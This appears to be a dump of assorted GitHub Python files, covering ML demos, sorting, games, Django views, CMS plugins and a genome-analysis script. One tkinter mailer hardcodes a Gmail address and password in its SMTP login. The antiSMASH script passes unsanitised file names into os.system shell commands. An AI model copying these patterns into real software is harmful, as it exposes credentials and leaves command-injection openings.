\n np.around(r2_score(y_train, y_pred_train), 3), \n 'mean_absolute_error': \n np.around(mean_absolute_error(y_train, y_pred_train), 3),\n 'root_mean_squared_error': \n np.around(np.sqrt(mean_squared_error(y_train, y_pred_train)), 3),\n }\n\n test_metrics = {\n 'r2_score': \n np.around(r2_score(y_test, y_pred_test), 3), \n 'mean_absolute_error': \n np.around(mean_absolute_error(y_test, y_pred_test), 3),\n 'root_mean_squared_error': \n np.around(np.sqrt(mean_squared_error(y_test, y_pred_test)), 3),\n }\n\n st.write(pd.DataFrame([train_metrics, test_metrics], index=['train_set', 'test_set']))\n\n plot_coef = True\n if algorithm == 'SVM' and kernel != 'linear':\n plot_coef = False\n\n if algorithm not in ['kNN'] and plot_coef:\n if algorithm == 'Linear Regression':\n st.markdown('### Coefficients')\n if robust == 'RANSAC':\n plot_data = model.steps[1][1].estimator_.coef_.tolist() + [model.steps[1][1].estimator_.intercept_]\n else:\n plot_data = model.steps[1][1].coef_.tolist() + [model.steps[1][1].intercept_]\n plot_labels = model.steps[0][1].get_feature_names(X_train.columns) + ['intercept']\n plot_xlabel = 'Coefficient'\n else:\n if hasattr(model, 'coef_'):\n st.markdown('### Coefficients')\n if algorithm not in ['SVM']:\n plot_data = model.coef_\n if hasattr(model, 'intercept_'):\n plot_data = plot_data + [model.intercept_]\n else:\n plot_data = model.coef_.tolist()[0] + [model.intercept_[0]]\n plot_xlabel = 'Coefficient'\n plot_labels = X_train.columns.tolist() + ['intercept']\n if hasattr(model, 'feature_importances_'):\n st.markdown('### Feature Importances')\n plot_data = model.feature_importances_\n plot_xlabel = 'Feature importance'\n plot_labels = X_train.columns.tolist()\n \n coef = pd.Series(\n data=np.squeeze(plot_data), \n index= plot_labels,\n name='coef'\n )\n coef = coef.rename_axis('column', axis=0)\\\n .to_frame()\\\n .reset_index()\n\n scale = 'symlog' if np.max(np.abs(coef['coef'])) - np.min(np.abs(coef['coef'])) > 1000 else 'linear'\n\n st.write(\n alt.Chart(coef).mark_bar().encode(\n x=alt.X('coef', title=plot_xlabel, scale=alt.Scale(type=scale)),\n y=alt.Y('column:O', title='Variable'),\n tooltip=[alt.Tooltip('coef', format=\".4f\"), alt.Tooltip('column')]\n ).properties(\n width=700,\n height=calc_height(len(plot_labels))\n )\n )\n\n st.markdown('### Diagnostic Plots') \n\n plot_df = pd.concat((X_train, y_train), axis=1).reset_index()\n plot_df['fitted'] = y_pred_train\n plot_df['residual'] = plot_df['response'] - plot_df['fitted']\n\n residuals = alt.Chart(plot_df).mark_point().encode(\n x='index',\n y='residual'\n ).properties(\n width=650,\n height=200,\n title=\"Residuals\"\n )\n\n plot_df = pd.concat((X_train, y_train), axis=1).reset_index()\n plot_df['fitted'] = y_pred_train\n\n fitted_vs_response = alt.Chart(plot_df).mark_point().encode(\n x='fitted',\n y=y_train.name\n ).properties(\n width=650,\n height=200,\n title=\"Fitted vs Response\"\n )\n\n st.write(\n alt.vconcat(residuals, fitted_vs_response)\n )\n\n variable = st.selectbox('variable', X_train.columns)\n\n plot_df = pd.concat((X_train, y_train), axis=1).reset_index()\n plot_df['fitted'] = y_pred_train\n plot_df = plot_df.loc[:, ['index', variable, y_train.name, 'fitted']].melt(id_vars=['index', variable])\n\n one_vs_response = alt.Chart(plot_df).mark_point().encode(\n x=variable,\n y=alt.Y('value', title=y_train.name),\n color=alt.Color('variable', scale=alt.Scale(scheme='paired'))\n ).properties(\n width=700,\n height=400,\n title=\"One vs Response\"\n )\n\n st.write(one_vs_response)\n","repo_name":"delunalara/ml_demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":19824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25225455573","text":"import os, sys\nfrom numpy import *\nimport operator\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nimport sampling\n\ndef csv2matrix(filename):\n fp = open(filename)\n array_of_lines = fp.readlines()\n number_of_lines = len(array_of_lines)\n ret_matrix = zeros((number_of_lines,2))\n label_vector = []\n i = 0\n for row in array_of_lines:\n row = row.strip('\\n')\n row = row.split(',')\n ret_matrix[i,:] = row[0:2]\n label_vector.append(row[-1])\n i += 1\n return ret_matrix, label_vector\n\ndef take_first(ele):\n return ele[0]\n\ndef kNN_classify(k, sample_matrix, sample_labels, data_matrix):\n result_labels = [None] * len(data_matrix)\n\n for i in range(len(data_matrix)):\n dist = [0] * len(sample_matrix) # element: tuple (distance, label)\n # Calculate data_matrix[i]'s distance to each sample point\n for j in range(len(sample_matrix)):\n for k in range(len(sample_matrix[0])):\n dist[j] += (data_matrix[i,k] - sample_matrix[j,k])**2\n dist[j] = sqrt(dist[j]), sample_labels[j]\n \n # Sort\n dist.sort(key = take_first)\n\n # Count the first k items\n cnt_a = 0\n cnt_b = 0\n for t in dist[0:k]:\n if t[1] == 'A':\n cnt_a += 1\n elif t[1] == 'B':\n cnt_b += 1\n if cnt_a > cnt_b:\n result_labels[i] = 'A'\n elif cnt_a < cnt_b:\n result_labels[i] = 'B'\n else:\n result_labels[i] = None\n\n return result_labels\n\nif __name__ == '__main__':\n \n # Move to the directory of kNN.py\n path = os.path.abspath(sys.argv[0])\n dir = os.path.split(path)[0]\n os.chdir(dir)\n\n # Load data from csvfile\n data_matrix, data_labels = csv2matrix('./dataset_knn.csv')\n \n # Sampling (10% as sample data set)\n sample_matrix, sample_labels = sampling.huang_sampling(data_matrix, data_labels, len(data_matrix) // 10)\n \n # kNN\n result_labels = kNN_classify(10, sample_matrix, sample_labels, data_matrix)\n\n # Evaluate the result\n # Using mat = numpy.row_stack((mat, row)) to add rows to matrix.\n true_positive = empty((0,len(data_matrix[0])))\n true_negative = empty((0,len(data_matrix[0])))\n false_positive = empty((0,len(data_matrix[0])))\n false_negative = empty((0,len(data_matrix[0])))\n failed_to_classify = empty((0,len(data_matrix[0])))\n\n for i, label in enumerate(result_labels):\n if label == 'A' and label == data_labels[i]:\n true_positive = row_stack((true_positive, data_matrix[i]))\n elif label == 'B' and label == data_labels[i]:\n true_negative = row_stack((true_negative, data_matrix[i]))\n elif label == 'A' and label != data_labels[i]:\n false_positive = row_stack((false_positive, data_matrix[i]))\n elif label == 'B' and label != data_labels[i]:\n false_negative = row_stack((false_negative, data_matrix[i]))\n else:\n # Failed to classify (label == None)\n failed_to_classify.append(data_matrix[i])\n num_TP = len(true_positive)\n num_TN = len(true_negative)\n num_FP = len(false_positive)\n num_FN = len(false_negative)\n print('Sensitivity: ' + str(num_TP / (num_TP + num_FN)))\n print('Specificity: ' + str(num_TN / (num_TN+num_FP)))\n print('Precision : ' + str(num_TP / (num_TP+num_FP)))\n print('Accuracy : ' + str((num_TP + num_TN) / (num_TP + num_TN + num_FP + num_FN)))\n \n # Show figures\n fig = plt.figure()\n\n ground_truth_color = [None] * len(data_labels)\n for i, label in enumerate(data_labels):\n if label == 'A':\n ground_truth_color[i] = 'blue'\n elif label == 'B':\n ground_truth_color[i] = 'yellow'\n ground_truth_plot = fig.add_subplot(131)\n ground_truth_plot.set_title('Ground Truth')\n ground_truth_plot.scatter(data_matrix[:, 0], data_matrix[:, 1], s=5, c=ground_truth_color)\n\n sample_color = [None] * len(sample_labels)\n for i, label in enumerate(sample_labels):\n if label == 'A':\n sample_color[i] = 'blue'\n elif label == 'B':\n sample_color[i] = 'yellow'\n sapmle_plot = fig.add_subplot(132)\n sapmle_plot.set_title('Sampling')\n sapmle_plot.scatter(data_matrix[:, 0], data_matrix[:, 1], s=5, c='gray')\n sapmle_plot.scatter(sample_matrix[:, 0], sample_matrix[:, 1], s=5, c=sample_color)\n\n result_plot = fig.add_subplot(133)\n result_plot.set_title('k-NN Result')\n result_plot.scatter(true_positive[:, 0], true_positive[:, 1], s=5, c='blue', label='True Positive')\n result_plot.scatter(true_negative[:, 0], true_negative[:, 1], s=5, c='yellow', label='True Negative')\n result_plot.scatter(false_positive[:, 0], false_positive[:, 1], s=5, c='red', marker='^', label='False Positive')\n result_plot.scatter(false_negative[:, 0], false_negative[:, 1], s=5, c='purple', marker='^', label='False Negative')\n\n plt.legend(loc='best') # set the position of the legend\n plt.show()","repo_name":"afterglowu/MachineLearning","sub_path":"kNN/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":5030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33005680703","text":"# coding=utf-8\n\nimport heapq\n\n\n# ノードの交換を行うメソッド\ndef min_heapfy(array, i):\n\n left = 2*i + 1\n right = 2*i + 2\n small = i\n\n if left <= len(array)-1 and array[left] < array[i]:\n small = left\n\n if right <= len(array)-1 and array[right] < array[small]:\n small = right\n\n if small != i:\n array[i], array[small] = array[small], array[i]\n min_heapfy(array, small) # ノードの交換があったならば交換されたノードに対して min_heapfy()\n\n\ndef insert(array, x):\n\n i = len(array) # 追加するノード番号\n array.append(x) # 追加\n\n while i > 0:\n\n p = (i-1) // 2 # 親ノード\n if array[p] <= array[i]:\n break\n array[i] = array[p] # 親ノードの値を自分のノードに\n i = p\n\n array[i] = x # 最後に追加する要素を代入\n\n return array\n\n\n# ヒープを構築するメソッド\ndef build_min_heap(array):\n\n for i in reversed(range(len(array) // 2)): # array の 半分のところから逆順に min_heapfy()\n min_heapfy(array, i)\n\n\n# ヒープソート\ndef heap_sort(array):\n\n array = array.copy()\n build_min_heap(array)\n sorted_array = []\n\n for _ in range(len(array)):\n array[0], array[-1] = array[-1], array[0] # 先頭要素と末尾要素交換\n sorted_array.append(array.pop()) # pop() で末尾要素削除して取得\n min_heapfy(array, 0) # 先頭要素に対して min_heapfy\n\n return sorted_array\n\n\n# python の組み込み heapq を用いると\n# heapq.heappush(heap_array, item) : item を heap_array に push(ヒープ条件を保って)\n# heapq.heappop(heap_array) : pop を行い heap から最小の要素を返す\n# 要素の入れ替え、末尾要素の削除、min_heapfy() の3つに相当\n# heapq.heapify(array) : build_min_heapに相当\n\n\n# ヒープソート\ndef _heap_sort(array):\n h = array.copy()\n heapq.heapify(h)\n return [heapq.heappop(h) for _ in range(len(array))]\n\n\ndef main():\n array = [1, 4, 2, 7, 2, 3, 8, 4, 5, 3, 2]\n\n print(heap_sort(array))\n # print(_heap_sort(array))\n\n array.sort()\n print(array)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"wandora58/Argorism","sub_path":"heap/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"33398614477","text":"from tkinter import *\nimport smtplib\n\n\ndef sendemail(to, content):\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.ehlo()\n server.starttls()\n server.login('saadchaudhary646@gmail.com', 'passwoord.')\n server.sendmail('saadchaudhary646@gmail.com', to, content)\n server.close()\n\n\n# sendemail('afreenchaudhary8@gmail.com','mdnhvcddavcdgsvchg')\n\ndef but(event):\n sendemail(a.get(),b.get())\n print('send')\n\n\n\n\nroot = Tk()\nroot.geometry('500x500')\nroot.title(\"SAAD EMAIL SERVICE\")\nroot.configure(bg='#171e5e')\n\n\n#store variable\na=StringVar()\nb=StringVar()\n\n\n# root.geometry(250*250)\nLabel(root, text=\"ENTER YOUR EMAIL ADDRESS BELOW\", bg='#171e5e', fg='grey', pady=50, padx=200, font=('Helvetica', 18, 'bold'))\n\ne1 = Entry(root, textvariable=a,font=50)\ne1.insert(0, \"Enter username\")\nc = Entry(root, font=50,textvariable=b)\nd = Button(root, text=\"SEND\", bg='grey', fg='black', pady=0, padx=200, font=('Helvetica', 18, 'bold'))\nd.bind(\"\",but)\n\n\n\n#pack\ne1.pack(ipadx=262)\nc.pack(ipadx=262,ipady=100)\nd.pack()\nroot.mainloop()\n","repo_name":"saadchaudharry/gui","sub_path":"kdda.py","file_name":"kdda.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72091222987","text":"from random import randint\r\n\r\nboard = []\r\nship_row = 0\r\nship_col = 0\r\n\r\nfor x in range(5):\r\n board.append(['O'] * 5)\r\n\r\ndef print_board(board):\r\n for row in board:\r\n print(('').join(row))\r\n\r\ndef Enemy_ship(board):\r\n ship_row = randint(0, len(board) - 1)\r\n ship_col = randint(0, len(board) - 1)\r\n print(ship_row)\r\n print(ship_col)\r\n\r\ndef game(board):\r\n turn = 1\r\n print_board(board)\r\n Enemy_ship(board)\r\n\r\n while turn <= 5:\r\n print('Turn ' + str(turn)) \r\n guess_row = int(input('Guess Row: '))\r\n guess_col = int(input('Guess Col: '))\r\n\r\n if guess_row == ship_row and guess_col == ship_col:\r\n print('Congrats!!! You sunk my ship!!!')\r\n break\r\n elif guess_row < 0 or guess_row > 4 or guess_col < 0 or guess_col > 4:\r\n print('BRUH Thats not even on the board')\r\n elif board[guess_row][guess_col] == 'X':\r\n print('You already guessed that before')\r\n else:\r\n print('MISSED!!! HAHA!')\r\n board[guess_row][guess_col] = 'X'\r\n if turn == 5:\r\n print('!!!GAME OVER!!!')\r\n break\r\n print_board(board)\r\n turn+=1\r\n \r\ngame(board)\r\n\r\n\r\n","repo_name":"douloudalou/battleship-single","sub_path":"Battleship .py","file_name":"Battleship .py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"44096411004","text":"from collections import deque\n\ndef Luu(a,max,b):\n m = b.popleft()\n for i in range(1,max+1):\n k = a.popleft()\n a.append(k)\n a.append(k)\n if m == i:\n print(k)\n m = b.popleft()\n elif m == -1:\n return\nif __name__ == '__main__':\n a = deque()\n a.append('dangdungcntt')\n a.append('tienquanutc')\n a.append('quang123')\n a.append('maianh')\n a.append('nguyenminhduc2820')\n n = int(input())\n b = deque()\n for i in range(0, n):\n b.append(int(input()))\n b.append(-1)\n Luu(a,max(b),b)","repo_name":"toilathor/UTC_LeQuangTho","sub_path":"(C-C++.Python)ThuatToanUngDung/Python/venv/CanhCuaThanKy2.py","file_name":"CanhCuaThanKy2.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38996972455","text":"import statistics, math\nfile = open(\"input/7.sam\", \"r\")\ncrabs = [int(x) for x in file.readline().split(\",\")]\n\nmedian = round(statistics.median(crabs))\nfuel = sum([abs(median-x) for x in crabs])\nprint(\"Part I: \",fuel)\n\ndef cost(i):\n return i * (i/2) + (i/2) if i%2==0 else i * math.ceil(i/2)\n\navg_f = math.floor(statistics.mean(crabs))\navg_c = math.ceil(statistics.mean(crabs))\nfuel_f = int(sum([cost(abs(avg_f-x)) for x in crabs]))\nfuel_c = int(sum([cost(abs(avg_c-x)) for x in crabs]))\nprint(\"Part II: \", min(fuel_c, fuel_f))","repo_name":"SamVanderstraeten/aoc21","sub_path":"7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42994519585","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/10/21 19:49\n# @Author : 之落花--falling_flowers\n# @File : base.py\n# @Software: PyCharm\nimport torch\nfrom torchviz import make_dot\n\n\ndef timer(func):\n import time\n\n def timerfunc(*args, **kwargs):\n start = time.time()\n result = func(*args, **kwargs)\n end = time.time()\n print(f'{func.__name__} used time: {end - start}s')\n return result\n\n return timerfunc\n\n\ndef ringer(func, beep=(500, 500)):\n import winsound\n\n def ringfunc(*args, **kwargs):\n result = func(*args, **kwargs)\n winsound.Beep(*beep)\n return result\n\n return ringfunc\n\n\ndef imgshow(img):\n import numpy as np\n from matplotlib import pyplot as plt\n img = img / 2 + 0.5\n npimg = img.numpy()\n plt.imshow(np.transpose(npimg, (1, 2, 0)))\n plt.ioff()\n plt.show()\n\n\ndef test(net, path, dataloader):\n net.train(False)\n try:\n net.load_state_dict(torch.load(path, map_location=torch.device('cpu')))\n except FileNotFoundError as e:\n print(e)\n exit(-1)\n\n i = 0\n for data, target in dataloader:\n outcome = net(data)\n if torch.argmax(outcome) == target[0]:\n i += 1\n print(f'Correct rate: {i}/{len(dataloader)}')\n\n\ndef summary(input_size, model, _print=True, border=False):\n import pytorchsummary\n pytorchsummary.summary(input_size, model, _print, border)\n\n\ndef imshow(net: torch.nn.Module, input_, format_: str, name: str, directory: str = './image'):\n img = make_dot(net(input_),\n params=dict(net.named_parameters()),\n show_attrs=True, show_saved=True)\n img.format = format_\n img.view(cleanup=True, filename=name, directory=directory)\n pass\n\n\n@timer\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"flowerfalling/Deep-learning","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"10818867548","text":"# reverse linked list\n# https://leetcode.com/problems/reverse-linked-list\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def reverseList(self, head: ListNode) -> ListNode:\n i = None\n j = head\n if j is None or j.next is None:\n return j\n else:\n while(j is not None):\n k = j.next\n j.next = i\n i = j\n j = k\n return i","repo_name":"devansh20la/Algorithms","sub_path":"Week5/reverse_linked_list.py","file_name":"reverse_linked_list.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72998799308","text":"count = 0\n\n\ndef counting_people(n, count):\n if n == 1:\n return count\n count += 1\n return counting_people(n - 1, count)\n\n\nnumber_of_people = counting_people(10, count)\nprint(number_of_people)\n\n\ndef add_all_numbers_to_n(n):\n if (n == 1):\n return 1\n return n + add_all_numbers_to_n(n - 1)\n\n\nsum = add_all_numbers_to_n(10)\nprint(sum)\n\n\ndef factorial(n):\n if (n == 1):\n return 1\n return n * factorial(n - 1)\n\n\nfact = factorial(10)\nprint(fact)\n","repo_name":"FridahWatetuMuthoni/Algorithms-and-datastructures-python","sub_path":"recurssion.py","file_name":"recurssion.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42374482827","text":"import json\nimport datetime\n\nfrom babel.dates import format_datetime\n\n\nfrom cms.plugin_base import CMSPluginBase\nfrom cms.plugin_pool import plugin_pool\nfrom django.conf import settings\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext as _\n\nfrom .models import WeeklyPluginModel, OpeningSlot, EventSlot, TrainingSlot, CalendarOpeningsPluginModel, EventsListPluginModel, Opening\n\nfrom datetime import date, timedelta\n\n@plugin_pool.register_plugin # register the plugin\nclass WeeklyPluginPublisher(CMSPluginBase):\n model = WeeklyPluginModel # model where plugin data are saved\n module = _(\"Fabcal\")\n name = _(\"Weekly view\") # name of the plugin in the interface\n render_template = \"fabcal/weekly.html\"\n\n def render(self, context, instance, placeholder):\n context.update({'instance': instance})\n\n now = datetime.datetime.now()\n next_week_slots = OpeningSlot.objects.filter(end__gt=now, start__lt= now + datetime.timedelta(days=6)).order_by('start')\n weekdays = [(now + datetime.timedelta(days=x)).strftime('%A') for x in range(7)]\n\n slots = {}\n for weekday in weekdays:\n slots[weekday] = [slot for slot in next_week_slots if slot.get_day_of_the_week == weekday]\n\n context.update({'slots': slots, 'weekdays': weekdays})\n\n return context\n\n@plugin_pool.register_plugin # register the plugin\nclass CalendarOpeningsPluginPublisher(CMSPluginBase):\n model = CalendarOpeningsPluginModel\n module = _(\"Fabcal\")\n name = _(\"Calendar openings view\") # name of the plugin in the interface\n render_template = \"fabcal/opening_calendar.html\"\n\n def render(self, context, instance, placeholder):\n request = context['request']\n\n backend = {}\n backend['events'] = []\n\n events = list(OpeningSlot.objects.filter(start__gt = date.today() - timedelta(days=365) ))\n for event in events:\n backend['events'].append({\n 'type': 'opening',\n 'pk': event.pk,\n 'username': event.user.username,\n 'user_firstname': event.user.first_name,\n 'start': event.start,\n 'end': event.end,\n 'comment': event.comment,\n 'title': event.opening.title,\n 'desc': event.opening.desc,\n 'background_color': event.opening.background_color,\n 'color': event.opening.color,\n 'machines': [{'pk': i.pk, 'title': i.title, 'category': i.category} for i in event.get_machine_list]\n })\n\n events = list(EventSlot.objects.filter(start__gt = date.today() - timedelta(days=365) ))\n for event in events:\n backend['events'].append({\n 'type': 'event',\n 'pk': event.pk,\n 'username': event.user.username,\n 'user_firstname': event.user.first_name,\n 'start': event.start,\n 'end': event.end,\n 'comment': event.comment,\n 'title': event.event.title,\n 'desc': event.event.lead,\n 'background_color': event.event.background_color,\n 'color': event.event.color\n })\n\n events = list(TrainingSlot.objects.filter(start__gt = date.today() - timedelta(days=365) ))\n for event in events:\n backend['events'].append({\n 'type': 'training',\n 'pk': event.training.pk,\n 'username': event.user.username,\n 'user_firstname': event.user.first_name,\n 'start': event.start,\n 'end': event.end,\n 'comment': event.comment,\n 'title': event.training.title,\n 'background_color': '#ddf9ff',\n 'color': '#0b1783',\n })\n \n backend[\"is_superuser\"] = request.user.groups.filter(name='superuser').exists()\n backend[\"username\"] = request.user.username\n\n context = {\n 'backend': json.dumps(backend, default=str),\n 'public_openings': Opening.objects.filter(is_public=True)\n }\n return context\n\n\n@plugin_pool.register_plugin # register the plugin\nclass EventListPluginPublisher(CMSPluginBase):\n model = EventsListPluginModel\n module = _(\"Fabcal\")\n name = _(\"Event list\") # name of the plugin in the interface\n render_template = \"fabcal/events_list.html\"\n\n def render(self, context, instance, placeholder):\n language_code = settings.LANGUAGE_CODE\n context = {\n 'event_slots': list(EventSlot.objects.filter(end__gt = date.today()).order_by('start'))\n }\n\n for index, event in enumerate(context['event_slots']):\n # TODO Refactoring wigh fabcal -> data in model\n\n context['event_slots'][index].start_date = format_datetime(event.start, \"EEEE d MMMM y\", locale=language_code)\n context['event_slots'][index].start_time = format_datetime(event.start, \"H:mm\", locale=language_code)\n context['event_slots'][index].end_date = format_datetime(event.end, \"EEEE d MMMM y\", locale=language_code)\n context['event_slots'][index].end_time = format_datetime(event.end, \"H:mm\", locale=language_code)\n\n if event.is_single_day:\n message_format = _(\"%(start_date)s
%(start_time)s - %(end_time)s\")\n else:\n message_format = _(\"From %(start_date)s at %(start_time)s
to %(end_date)s at %(end_time)s \")\n\n context['event_slots'][index].format_info_datetime = mark_safe(message_format % context['event_slots'][index].__dict__)\n\n return context","repo_name":"fablab-chaux-de-fonds/Interlab","sub_path":"fabcal/cms_plugins.py","file_name":"cms_plugins.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"29175771779","text":"#------------------------------------------------------------------------------ \n# ReportView\n# Allows client to report a piece of content.\n#\n# Nick Wrobel\n# Created: 11/20/15\n# Modified: 2/15/15\n#-------------------------------------------------------------------------------\n\nfrom django.views.decorators.csrf import csrf_exempt\nfrom JokrBackend.models import Report as ReportModel \nfrom JokrBackend.models import OnlineContent\nimport JokrBackend.Constants as Const\nfrom JokrBackend.Custom import HttpResponseFactory, Utils\nfrom JokrBackend.Security.SecurityChecker import RunThroughSecurityLayer \nimport JokrBackend.DataCollection.DataCollector as DataCollector\nimport JokrBackend.DataCollection.QueryManager as QueryManager\n\n@csrf_exempt\ndef Report(requestData):\n \n TAG = Const.Tags.Urls.MODERATION_REPORT\n \n securityProperties = RunThroughSecurityLayer(TAG, requestData)\n if (not securityProperties.isSecure):\n return securityProperties.httpResponse\n \n try:\n clientUser = securityProperties.userObject\n clientContentId = securityProperties.jsonRequestData[Const.Views.Report.JsonRequestKey.CONTENT_ID]\n \n # check that the content exists in the database\n clientContent = QueryManager.GetObjectByID(OnlineContent, clientContentId)\n if (not clientContent):\n DataCollector.UpdateURLHit(hitID=securityProperties.hitID,\n responseCode=Const.HttpResponseFactory.ResponseCodes.ClientError.CODE_NOT_FOUND, \n messageCode=Const.DataCollection.MessageCodes.ModerationReport.CONTENT_NOT_FOUND) \n \n return HttpResponseFactory.MakeHttpResponse(Const.HttpResponseFactory.ResponseCodes.ClientError.CODE_NOT_FOUND, \n Const.DataCollection.MessageCodes.ModerationReport.CONTENT_NOT_FOUND)\n \n # get the content type that the user is reporting\n contentType = clientContent.contentType\n \n # check if this user has already tried to create this report\n userDupeReports = ReportModel.objects.filter(fromUser=clientUser,\n contentID=clientContentId)\n \n # If so, log the hit and return an error to client\n if (userDupeReports):\n DataCollector.UpdateURLHit(hitID=securityProperties.hitID,\n responseCode=Const.HttpResponseFactory.ResponseCodes.ClientError.CODE_CONFLICT, \n messageCode=Const.DataCollection.MessageCodes.ModerationReport.REPORT_EXISTS) \n \n return HttpResponseFactory.MakeHttpResponse(Const.HttpResponseFactory.ResponseCodes.ClientError.CODE_CONFLICT, \n Const.DataCollection.MessageCodes.ModerationReport.REPORT_EXISTS) \n \n # Create the report\n ReportModel.objects.create(fromUser=clientUser,\n contentID=Utils.UUIDToBinary(clientContentId),\n contentType=contentType) \n \n # Log the hit and return\n DataCollector.UpdateURLHit(hitID=securityProperties.hitID,\n responseCode=Const.HttpResponseFactory.ResponseCodes.Success.CODE_OK, \n messageCode=Const.DataCollection.MessageCodes.ModerationReport.REQUEST_SUCCESSFUL) \n \n return HttpResponseFactory.MakeHttpResponse(Const.HttpResponseFactory.ResponseCodes.Success.CODE_OK,\n Const.DataCollection.MessageCodes.ModerationReport.REQUEST_SUCCESSFUL) \n \n except Exception as e:\n # log and return on error\n DataCollector.logServerError(e)\n DataCollector.UpdateURLHit(hitID=securityProperties.hitID,\n responseCode=Const.HttpResponseFactory.ResponseCodes.ServerError.CODE_INTERNAL_SERVER_ERROR, \n messageCode=Const.DataCollection.MessageCodes.ModerationReport.REQUEST_FAILED_SERVER_ERROR) \n \n return HttpResponseFactory.MakeHttpResponse(Const.HttpResponseFactory.ResponseCodes.ServerError.CODE_INTERNAL_SERVER_ERROR, \n Const.DataCollection.MessageCodes.ModerationReport.REQUEST_FAILED_SERVER_ERROR)\n\n ","repo_name":"nwrobel/gravity-server","sub_path":"JokrBackend/JokrBackend/Views/Moderation/ReportView.py","file_name":"ReportView.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19511575473","text":"import os\nimport argparse\nfrom utils import fetch_records\nfrom Bio import SeqIO\nfrom Bio import Entrez\nimport gzip\nimport shutil\nimport csv\n\n# create the command-line parameters for email (for Entrez) and input file\nparser = argparse.ArgumentParser()\nparser.add_argument(\n '-e', '--email', help=\"Enter your email for Entrez here\", required=True)\nparser.add_argument(\n '-i', '--input', help=\"Input file name (list of NCBI accession numbers, one on each line)\")\nargs = parser.parse_args()\n\n# set Entrez's email to the email provided\nEntrez.email = args.email\n\n# read the genome accession #'s from the input file\n# (specified in args.input parameter)\nids = []\nif args.input != None:\n for line in open(args.input).readlines():\n ids.append(line.strip())\n\n# get current working directory\nPATH = os.getcwd()\n\n# fetch all accessions passed in, returns dict of accessions mapped to their fetched files\naccessionDict = fetch_records(Entrez, ids)\n\n# make antismash output directory if not already created\nif not (os.path.isdir('antismash_output')):\n os.system('mkdir antismash_output')\noutpath = f'{PATH}/antismash_output'\n\n# list to store all secondary metabolite results from antismash\nallMetabolites = {}\n\n# count the files ran so the user can follow the progress of the script\nfileCount = 0\n\n# this for loop goes through each file in the sequences directory, unzips it, and runs antismash on it\nfor fileName in os.listdir(\"sequences\"):\n\n # if the file is zipped, unzip it\n if fileName.endswith('.gz'):\n unzippedFileName = fileName[:fileName.index('.gz')]\n # unzip the .gz assembly files\n with gzip.open(\"sequences/\" + fileName, 'rb') as f_in:\n with open(\"sequences/\" + unzippedFileName, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n # delete the original zipped file\n os.system('rm sequences/' + fileName)\n\n # if the file is already unzipped, set its name to the unzipped variable\n else:\n unzippedFileName = fileName\n\n fileCount += 1\n print(\"Running \" + unzippedFileName + \"...\" + \"(\" + str(fileCount) + \")\")\n\n infile = f'{PATH}/sequences/{unzippedFileName}'\n\n # run subclusters, knownclusters, active site finder analysis\n options = '--cb-subclusters --cb-knownclusters --asf --genefinding-tool prodigal'\n\n # run antismash on genome if not run already\n if not os.path.isdir(f'antismash_output/{os.path.splitext(unzippedFileName)[0]}'):\n antismashCmd = f'sh run_antismash.sh {infile} {outpath} {options}'\n print(antismashCmd)\n os.system(antismashCmd)\n\n # parse secondary metabolites from output and push to master list\n # multiple gbk files are created, skip the first one and parse the rest\n metabolites = []\n output = f'{PATH}/antismash_output/{os.path.splitext(unzippedFileName)[0]}'\n loopNum = 0\n for outFile in os.listdir(output):\n if outFile.endswith('gbk'):\n # skip first gbk file\n if loopNum != 0:\n print('parsing ' + outFile + \" for secondary metabolites...\")\n record = SeqIO.read(f'{output}/{outFile}', \"genbank\")\n feats = [\n feat for feat in record.features if feat.type == \"protocluster\"]\n for feat in feats:\n metabolites.append(feat.qualifiers['product'][0])\n else:\n loopNum = loopNum + 1\n continue\n else:\n continue\n\n allMetabolites[unzippedFileName] = metabolites\n\n# create a dictionary to store each accession and it's metabolites\nmetaboliteDict = {accessionDict[fileName]: metabolites for (\n fileName, metabolites) in allMetabolites.items()}\nprint(\"\\nResults:\")\nprint(metaboliteDict)\n\n# #open the output file\ncsv_output_name = \"AntismashResults.csv\"\ncsv_output = open(csv_output_name, 'w')\n\n# write the headers to the output file\ncsv_output.write('Genome Accession,Secondary Metabolites\\n')\n\n# write results to file\nfor k, v in metaboliteDict.items():\n csv_output.write(k + \",\")\n 